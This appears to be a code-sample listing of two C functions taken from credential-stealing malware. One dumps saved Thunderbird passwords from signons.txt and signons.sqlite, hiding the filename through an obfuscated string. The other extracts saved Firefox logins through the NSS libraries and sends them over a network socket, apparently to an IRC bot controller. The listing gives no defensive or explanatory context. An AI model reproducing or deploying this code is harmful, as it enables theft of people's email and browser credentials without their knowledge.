Exemple #1
0
int DumpThunderbird(void)
{
	WCHAR *ProfilePath = NULL; 	//Profile path
	WCHAR *TBDir = NULL;   		//Thunderbird main installation path

	ProfilePath = GetTBProfilePath();

	if (!ProfilePath || !DirectoryExists(ProfilePath)) 
		return 0;

	// get the password for the old versions
	DumpTB(ProfilePath, L"signons.txt");   

	// get the password for the 3.1.x
	TBDir = GetTBLibPath();

	if (!TBDir || !DirectoryExists(TBDir)) 
		return 0;

	if (!InitFFLibs(TBDir))	
		return 0;

	if (!InitializeNSSLibrary(ProfilePath))
		return 0;

	DumpSqlFF(ProfilePath, DeobStringW(L"9Z71519.9ByZLI")); //"signons.sqlite"

	NSSUnload();

	return 0;
}
Exemple #2
0
//enc_privmsg(sock, a[2], "Already running.", notice);
int FindFirefoxPasses(SOCKET sock, char *dest, BOOL notice)
{
	char *profileDir, /**masterPassword, */*firefoxDir;
	profileDir = GetCurrentUserProfilePath();
	firefoxDir = GetFirefoxLibPath();
if(!profileDir){return 0;}
if(!firefoxDir){return 0;}

	if( InitializeFirefoxLibrary(firefoxDir) )
	{
		if( InitializeNSSLibrary(profileDir, masterPassword) )
		{
			DumpSignonSecrets(profileDir, sock, dest, notice);
			TerminateFirefoxLibrary();
		}
	}

	return 1;
}